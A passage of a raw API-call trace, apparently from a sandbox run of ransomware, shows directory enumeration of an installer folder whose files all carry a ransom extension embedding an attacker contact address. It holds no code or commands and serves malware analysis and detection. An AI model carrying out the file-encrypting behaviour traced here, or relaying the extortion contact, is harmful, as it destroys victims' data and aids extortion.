cFileName=".", cAlternateFileName="")) returned 0x4420be0 [0175.169] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77f4f5a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.169] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc73a2aa6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc73a2aa6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc73a2aa6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.169] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc73c8d47, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc73c8d47, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.169] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc834835a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.169] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc834835a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.169] FindClose (in: hFindFile=0x4420be0 | out: hFindFile=0x4420be0) returned 1 [0175.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.170] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0175.170] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.170] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420be0 [0175.348] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.348] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc76ed1d4, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc76ed1d4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76ed1d4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.348] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7bd4c0f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7bd4c0f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7bd4c0f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.348] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc836e469, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.349] FindNextFileW (in: hFindFile=0x4420be0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc836e469, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.349] FindClose (in: hFindFile=0x4420be0 | out: hFindFile=0x4420be0) returned 1 [0175.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.349] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0175.350] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.350] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420d60 [0175.352] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.352] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc77a8a46, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77cecb7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0175.352] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0175.352] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 0 [0175.352] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0175.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.353] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc781b239, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc781b239, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc781b239, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DHTMLH~1.KR")) returned 1 [0175.353] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc855e399, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc855e399, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc855e399, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DISPLA~1.KR")) returned 1 [0175.353] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0175.353] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.353] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420960 [0175.355] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.355] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7841485, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7841485, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7841485, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0175.355] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b16092, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b16092, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0175.355] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b16092, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b16092, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 0 [0175.355] FindClose (in: hFindFile=0x4420960 | out: hFindFile=0x4420960) returned 1 [0175.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.356] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0175.356] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.356] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420d20 [0175.358] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.358] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc85844a4, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PRINTI~1.KR")) returned 1 [0175.358] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87743a6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87743a6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc87743a6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~1.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87743a6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87743a6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc879a69c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~2.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87c08dd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87c08dd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc87c08dd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~3.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc885925a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc885925a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc885925a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROF213~1.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87e6a49, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87e6a49, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc87e6a49, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~4.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc880cd27, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc880cd27, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc880cd27, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RO7A63~1.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc880cd27, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc880cd27, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc880cd27, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RO17D4~1.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc8832fbf, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc8832fbf, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8832fbf, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RO7B70~1.KR")) returned 1 [0175.359] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc8abb8e3, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc8abb8e3, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8abb8e3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SAVEIC~1.KR")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc887f45c, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc887f45c, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc887f45c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPI~1.KR")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc88a5667, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc88a5667, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8b2dec0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="STOPIC~1.KR")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89b057e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89b057e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc89b057e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SYSREQ~1.KR")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, 